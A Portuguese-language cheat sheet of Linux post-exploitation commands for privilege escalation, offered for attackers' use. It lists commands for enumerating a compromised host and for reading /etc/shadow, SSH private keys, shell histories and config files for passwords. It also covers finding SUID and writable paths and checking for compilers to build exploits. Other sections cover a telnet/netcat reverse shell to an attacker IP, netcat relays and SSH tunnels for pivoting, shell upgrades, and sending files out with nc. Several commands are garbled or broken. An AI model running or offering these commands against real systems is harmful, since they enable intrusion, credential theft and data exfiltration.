```
1 - Distribuição e Versão do SO
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based

2 - Versão e arquitetura do Kernel
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

3 - Verificação de variáveis de ambiente
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

3 - Verificação de aplicações e serviços e privilégios
ps aux
ps -ef
top
cat /etc/services

4 - Verificação de serviços executados pelo root
ps aux | grep root
ps -ef | grep root

5 - Quais aplicações estão instaladas, versão, e se estão sendo executadas
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

6 - Procurar aplicação mal configuradas
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.confcrontab -l


7 - Verificar se há agendamentos
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
```

```
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
```

8 - Procurar por username e senha em texto claro

```
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
```

9 - Verificar dispositivos de rede

```
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
```

10 - verificar configurações de rede

```
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
```

11 - Verificar quem está conectado

```
sof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
```

12 - Verificar rotas e cache arp

```
arp -e
route
/sbin/route -nee
```

13 - Verificar se a shell interativo

```
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system.
Use the attackers IP!
```

14 - Verficar se pode fazer encaminhamento de tráfego

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

```
Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local
port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port
Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 |
tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 |
tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


15 - Verificar se é possível fazer tunelamento
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

16 - Verifcar que está logado e quem pode ler, escrever e executar
id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

17 - Procurar por arquivos sensíveis
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

18 - Procurar por informações de interesse no home e diretório root
ls -ahlR /root/
ls -ahlR /home/

19 - Procurar por senha em arquivos de logs, scripts e databasss em caminho padão
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

20 - O que o usuário tem no seu history
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

21 - Procurar por mais informações de usuários
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

22 - Procurar por chaves privadas ssh
```

```
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

23 - Verificar se há arquivos no /etc/que podem ser editados ou que possam ser
reconfigurados
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

24 - Procurar por arquivos em /var
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

25 - Procurar por informações em arquivos ocultos em website ou informações em
bancos de dados
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

26 - Procurar por informações em arquivos de logs
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
```

```
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

27 - Mudar de um shell cachorro para um shell mais interativo com python
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

28 - Verificar com o sistema de arquivos está montado
mount
df -h

29 - verficar se há sistema de arquivos desmontado
cat /etc/fstab

30 - Verificar permissões avançadas (Sticky bits, SUID e GUID)
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the
directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group,
not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner,
not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f
2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin,
/usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep,
list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \;
2>/dev/null

31 - Procurar por locais onde se pode escrever e executar arquivos
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
```

```
find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable &
executable folders

32 - Procurar por arquivos graváveis por nobody
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable
files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

33 - Quais ferramentas de compilação e desenvolvimento podem ser usadas para
construir um exploit
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

34 - Quais ferrametas de transferência de arquivos existem
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp



35 - Shell melhorado

python -c 'import pty;pty.spawn("/bin/bash")' + Ctrl Z

stty raw -echo
fg
reset
xterm-256color
export TERM=xterm-256color


36 - Enviar arquivo via NC



Primeiro, execute esse comando na máquina que irá receber o arquivo:

# nc -vvn -l -p 2121 -w 5 > arquivo

Agora, na máquina que irá enviar execute este comando:

# nc -vvn ip_da_outra_maquina 2121 < arquivo

E pronto. Se tudo correu bem, você verá isso na máquina que recebeu o arquivo
```